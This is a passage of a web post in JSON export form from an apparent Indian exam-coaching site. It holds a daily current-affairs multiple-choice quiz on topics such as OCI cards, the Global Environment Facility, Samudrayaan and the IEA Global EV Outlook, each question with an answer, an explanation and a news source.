{"id":2103,"date":"2025-05-21T04:23:07","date_gmt":"2025-05-21T04:23:07","guid":{"rendered":"https:\/\/iasquest.com\/?p=2103"},"modified":"2026-02-11T18:57:00","modified_gmt":"2026-02-11T18:57:00","slug":"daily-current-affairs-20-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-20-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 20-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1.With reference to Overseas Citizenship of India, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. An OCI card holder is not entitled to vote<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. An OCI card holder, essentially a foreign passport holder, gets a multiple entry, multi-purpose life-long visa for visiting India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer:&nbsp; (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>In News: <\/strong>This word means: OCI (Overseas Citizen of India)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Introduced in August 2005, the OCI scheme provides for registration of all Persons of Indian Origin (PIOs) who were citizens of India on January 26, 1950, or thereafter, or were eligible to become citizens of India on the said date.<\/li>\n\n\n\n<li><strong>An OCI card holder \u2014 essentially a foreign passport holder \u2014 gets a multiple entry, multi-purpose life-long visa for visiting India, and is exempt from registration with local police authority for any length of stay in the country.<\/strong><\/li>\n\n\n\n<li>On March 4, 2021, the Ministry of Home Affairs issued a gazette notification amending the rules regarding OCI card holders.<\/li>\n\n\n\n<li>&nbsp;These remain in place today.<\/li>\n\n\n\n<li>An applicant is not eligible to get an OCI card if his\/her parents or grandparents have ever been a citizen of Pakistan or Bangladesh.<\/li>\n\n\n\n<li>However, the spouse of foreign origin of a citizen of India or spouse of foreign origin of an OCI, whose marriage has been registered and subsisted for not less than two years, can apply for an OCI card.<\/li>\n\n\n\n<li>Foreign military personnel either in service or retired are also not entitled for grant of OCI.<\/li>\n\n\n\n<li><strong>An OCI card holder is not entitled to vote; to be a member of a Legislative Assembly or of a Legislative Council or of Parliament; to hold Indian constitutional posts such as that of the President, Vice President, Judge of the Supreme Court or High Court. Also, she cannot normally hold employment in the government.<em>Hence option(c) is correct.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/this-word-means-oci-overseas-citizen-of-india-10016103\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/this-word-means-oci-overseas-citizen-of-india-10016103\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>2. Nagarahole Tiger Reserve recently seen in news situated in the state of<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">(a) Karnataka<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">(b) Odisha<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">(c) Kerala<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(d) Maharashtra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Answer:&nbsp; (a) <\/strong>Karnataka<strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>In News: <\/strong>Nagarahole: Jenu Kuruba Adivasis to hold Gram Sabha on May 20<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>The 52 Jenu Kuruba Adivasi families, who returned to their village Karadikallu Attur Kolli on May 5, 2025, to reclaim their ancestral villages and forest rights, will hold a Gram Sabha on May 20.<\/li>\n\n\n\n<li><strong>In a joint statement made by Nagarahole Adivasi Jammapale Hakku Sthapana Samiti, Nagarahole, Karnataka; National Adivasi Alliance, India; Community Network Against Protected Areas, India; and People\u2019s Union for Civil Liberties, Mysuru Chapter, the tribespeople said the assertion of their rights was a direct result of the Nagarahole Tiger Reserve authorities\u2019 repeated interference, lobbying and hijacking of the due process of law in recognising individual forest rights (IFR), community forest rights (CFR) and community forest resource rights (CFRR).<em>Hence option(a) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>According to Section 9 of the FRA, the Gram Sabha as a pubic authority is vested with powers to determine, verify and recognise or reject any claims, the statement said.<\/li>\n\n\n\n<li>The Gram Sabha on May 20 aims to discuss the violations of the FRA. The members also aim to move further on establishing procedures regarding recognition of CFR and CFRR claims.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.downtoearth.org.in\/forests\/nagarahole-jenu-kuruba-adivasis-to-hold-gram-sabha-on-may-20\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/forests\/nagarahole-jenu-kuruba-adivasis-to-hold-gram-sabha-on-may-20<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>3.Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">1. Convention on Biological Diversity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">2. United Nations Framework Convention on Climate Change<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">3. UN Convention to Combat Desertification<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">4. Minamata Convention on Mercury<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>How many of the above are financial mechanisms under the Global Environment facility?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Answer:&nbsp; (d) All four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>In News: <\/strong>Biodiversity funds not reaching indigenous people, women who protect nature: Report<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>Money meant to protect forests, oceans and wildlife is not reaching the people who live closest to nature, a new study has found.<\/li>\n\n\n\n<li>The International Institute for Environment and Development (IIED), a United Kingdom-based policy research organisation, along with partners in five countries, conducted a detailed analysis of biodiversity funding from the Global Environment Facility (GEF).<\/li>\n\n\n\n<li>GEF is one of the largest international funds for nature and climate action. It is playing a key role in delivering on the $200 billion annual biodiversity finance goal under Target 19 of Kunming-Montreal Global Biodiversity Framework (KMGBF).<\/li>\n\n\n\n<li>The GEF provides funding to assist developing countries in meeting the objectives of international environmental conventions.<\/li>\n\n\n\n<li><strong>The GEF serves as a &#8220;financial mechanism&#8221; to six conventions: Convention on Biological Diversity (CBD), United Nations Framework Convention on Climate Change (UNFCCC), Stockholm Convention on Persistent Organic Pollutants, UN Convention to Combat Desertification (UNCCD), Minamata Convention on Mercury, and the Biodiversity Beyond National Jurisdiction (BBNJ) Agreement<\/strong>. <strong><em>Hence option(d) is correct.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/biodiversity-funds-not-reaching-indigenous-people-women-who-protect-nature-report\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/biodiversity-funds-not-reaching-indigenous-people-women-who-protect-nature-report<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>4. \u00a0The Global Report on Food Crises Report released by<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(a) The Global Network Against Food Crisis<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(b) United Nation Development program<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(c) Food and Agriculture organisation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(d) World Economic Forum<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Answer:&nbsp; (a)The Global Network Against Food Crisis<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>In News: <\/strong>Nearly 300 million people faced acute hunger in 2024: Report<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li>In 2024, more than 295 million people across 53 countries and territories experienced acute levels of hunger, according to <a href=\"https:\/\/www.fsinplatform.org\/grfc2025\" target=\"_blank\" rel=\"noopener\">the Global Report on Food Crises (GRFC)<\/a>.<\/li>\n\n\n\n<li>This was 13.7 million more people compared to 2023.<\/li>\n\n\n\n<li>Of the total population assessed in the report, around 23 per cent faced acute food insecurity. The year 2024 was the fifth consecutive year in which this figure has remained above 20 per cent and overall the sixth consecutive year of rising acute food insecurity and child malnutrition in some of the world\u2019s most vulnerable regions.<\/li>\n\n\n\n<li>Conflict, economic shocks, climate extremes, and forced displacement were the key drivers of food insecurity and malnutrition around the world, with catastrophic impacts on many already fragile regions, according to the report.<\/li>\n\n\n\n<li>The document is published annually by The Global Network Against Food Crisis (GNAFC) with analysis from the Food Security Information Network.<strong><em>Hence option(a) is correct.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.downtoearth.org.in\/governance\/nearly-300-million-people-faced-acute-hunger-in-2024-report\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/governance\/nearly-300-million-people-faced-acute-hunger-in-2024-report<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>5. Kolahoi Glacier, the main source of the Lidder river is tributary of which of the following rivers?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(a) Indus<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(b) Chenab<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(c) Jhelum<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(d) Sutlej<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Answer: (c) Jhelum<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>In News: <\/strong>When Nehru visited Pahalgam: Story of first PM\u2019s last vacation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-56\">\n<li><strong>Nehru visited the Aru valley, about 12 km from Pahalgam. He also visited the Kolahoi Glacier, the main source of the Lidder river, the tributary of the Jhelum that flows through Pahalgam.<\/strong><\/li>\n\n\n\n<li><strong>Kolahoi Glacier sits, about 35 kilometres upstream from Pahalgam, at the head of the West Lidder Valley in Kashmir. The glaciated section of this valley<\/strong><\/li>\n\n\n\n<li><strong>is about 5 km in length.<\/strong><strong><em>Hence option(c) is correct. <\/em><\/strong><strong>&nbsp;<\/strong><\/li>\n\n\n\n<li>Known among the locals as \u2018Goddess of Light\u2019, the glacier boosts the rural economy and tourism as the Lidder River feeds the mighty stream of river Jhelum.<\/li>\n\n\n\n<li>The water in the Jhelum flows from the melting of snow received during the winter as well as the melting of glaciers in the alpine region.<\/li>\n\n\n\n<li>Owing to Kolahoi\u2019s meltwater, the Kashmir Valley is significantly fertile with the cultivation of cereal crops, dry fruits, saffron, and apples<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-history\/nehru-pahalgam-first-pm-visit-to-jk-10015774\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-history\/nehru-pahalgam-first-pm-visit-to-jk-10015774\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>6. With reference to the Deep Ocean, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">1. The Deep Ocean begins at a depth where sunlight completely ceases to penetrate.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">2. The average temperature in the Deep Ocean is about 4\u00b0C.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">3. The Mesopelagic Zone contains a significant proportion of the world\u2019s fish biomass.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>In News: India\u2019s deep-sea adventure: Samudrayaan\u2019s Matsya ready for 6,000-metre dive in push to join elite club<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>97% of recorded deep-sea dives had been performed by only five countries: the U.S., Japan, New Zealand, France, and Germany.<\/li>\n\n\n\n<li>Observation Means: Visual Imaging from manned submersibles, Remotely Operated Vehicles (ROVs), Autonomous Underwater Vehicles (AUVs), Tow Cameras tethered to Ships etc<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Deep Ocean<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-72\">\n<li>Definition: Refers to the sea and seabed below approximately 200 meters in depth, where light rapidly diminishes. This marks the start of the Twilight Zone (Mesopelagic Zone: 200m\u20131000m).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Conditions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-74\">\n<li>Temperature: Cold, with an average of 4\u00b0C.<\/li>\n\n\n\n<li>Pressure: Extremely high\u2014ranging from 40 to over 110 times Earth&#8217;s atmospheric pressure.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Biodiversity<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-76\">\n<li>It contains around 90% of the world\u2019s fish by weight.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">The Mesopelagic Zone is rich in life, especially:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-78\">\n<li>Squid<\/li>\n\n\n\n<li>Krill<\/li>\n\n\n\n<li>Jellyfish<\/li>\n\n\n\n<li>Fish<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Source:<\/strong> <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.businesstoday.in\/science\/story\/indias-deep-sea-adventure-samudrayaans-matsya-ready-for-6000-metre-dive-in-push-to-join-elite-club-476722-2025-05-18\" target=\"_blank\" rel=\"noopener\">https:\/\/www.businesstoday.in\/science\/story\/indias-deep-sea-adventure-samudrayaans-matsya-ready-for-6000-metre-dive-in-push-to-join-elite-club-476722-2025-05-18<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>7.Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>The Samudrayaan Mission is being developed by National Institute of Ocean Technology<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">1. to explore marine resources at a depth of 6,000 metres using the indigenously developed submersible \u2018Matsya\u2019.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">2. is part of the manned Deep Ocean Mission.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">3. India\u2019s research vessel Sagar Nidhi will be used to deploy and recover the MATSYA 6000.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Which of the statement(s) given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Answer: (d)1,2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>In News: India\u2019s deep-sea adventure: Samudrayaan\u2019s Matsya ready for 6,000-metre dive in push to join elite club<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>India is set to launch its first manne<strong>d deep-ocean mission, \u2018Samudrayaan\u2019, by 2026, aiming to explore marine resources at a depth of 6,000 metres using the indigenously developed submersible \u2018Matsya\u2019. Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>About Samudrayaan Mission<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>The Samudrayaan Mission is a pioneering Indian initiative aimed at manned deep-sea exploration. It is a key component of India\u2019s broader Deep Ocean Mission, which focuses on exploring and sustainably utilizing ocean resources.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Key Features of Samudrayaan Mission<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">Part of the Deep Ocean Mission:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-98\">\n<li>The D<strong>eep Ocean Mission is a flagship programme of India focused on deep-sea mining, ocean climate studies, and biodiversity assessments. Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Samudrayaan is the manned sub-project under this umbrella\u2014India\u2019s first attempt to send humans into deep-sea environments.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>MATSYA 6000 \u2013 The Submersible Vehicle:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li>Named M<strong>ATSYA 6000, the vehicle is indigenously developed, representing a major step in India\u2019s technological self-reliance. Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>It is classified as a 4th generation manned submersible, indicating it includes advanced features and safety mechanisms for extreme underwater conditions.<\/li>\n\n\n\n<li>Capacity: Can carry three crew members.<\/li>\n\n\n\n<li>Depth Capability: Can descend up to 6,000 meters (~6 km) below sea level, reaching the abyssal zone of the ocean.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Developing Agency:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>Developed by the National Institute of Ocean Technology (NIOT), located in Chennai, under the Ministry of Earth Sciences.<\/li>\n\n\n\n<li>NIOT is India\u2019s premier ocean technology research organization.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Endurance and Safety:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li>Operational endurance: 12 hours \u2013 This is the normal mission duration where crew and systems function at full capacity.<\/li>\n\n\n\n<li>Emergency endurance: 96 hours \u2013 If any issues arise, life-support systems can keep the crew alive for up to 4 days, allowing for rescue operations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Deployment and Recovery:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>The submersible will be launched and recovered using Sagar Nidhi, an Indian research vessel.<\/li>\n\n\n\n<li>Sagar Nidhi is capable of deep-sea operations and is equipped with the necessary systems to support MATSYA 6000 missions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Source<\/strong>: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.businesstoday.in\/science\/story\/indias-deep-sea-adventure-samudrayaans-matsya-ready-for-6000-metre-dive-in-push-to-join-elite-club-476722-2025-05-18\" target=\"_blank\" rel=\"noopener\">https:\/\/www.businesstoday.in\/science\/story\/indias-deep-sea-adventure-samudrayaans-matsya-ready-for-6000-metre-dive-in-push-to-join-elite-club-476722-2025-05-18<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>8.The \u2018Global EV Outlook 2025\u2019 report, often seen in the news, is released by which of the following organisations?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(a) United Nations Environment Programme (UNEP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(b) International Renewable Energy Agency (IRENA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(c) International Energy Agency (IEA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(d) World Economic Forum (WEF)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Answer: (c) International Energy Agency (IEA)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>In News: Over 1 in 4 cars sold this year to be electric: IEA report<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>India drives most growth in the global electric three-wheeler market<\/li>\n\n\n\n<li>Global sales of electric cars, which exceeded 17 million in 2024, are on track to surpass 20 million in 2025, according to the <strong>Global EV Outlook 2025, released by the International Energy Agency (IEA) on May 14, 2025. Hence option (c ) is correct.<\/strong><\/li>\n\n\n\n<li>Global EV Outlook 2025 further estimates that <strong>two- and three-wheelers remained the most electrified road transport segment in 2024,<\/strong> with more than 9 percent of the global fleet now electric.<\/li>\n\n\n\n<li><strong>China, India and Southeast Asia, where two- and three-wheelers <\/strong>serve as the primary mode of private passenger transport, remain the world\u2019s largest two- and three-wheelers markets, <strong>accounting for 80 per cent of 2024 global sales. India drives most growth in the global electric three-wheeler market.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">Source: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.downtoearth.org.in\/energy\/over-1-in-4-cars-sold-this-year-to-be-electric-iea-report\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/energy\/over-1-in-4-cars-sold-this-year-to-be-electric-iea-report<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>9.With reference to Land Ports in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">1. A land port is an area located on India&#8217;s international borders equipped to handle both passenger and cargo movement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">2. The Land Ports Authority of India (LPAI) is a statutory body under the Ministry of External Affairs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">3. As of 2025, India has fifteen operational land ports.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Answer: (b) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 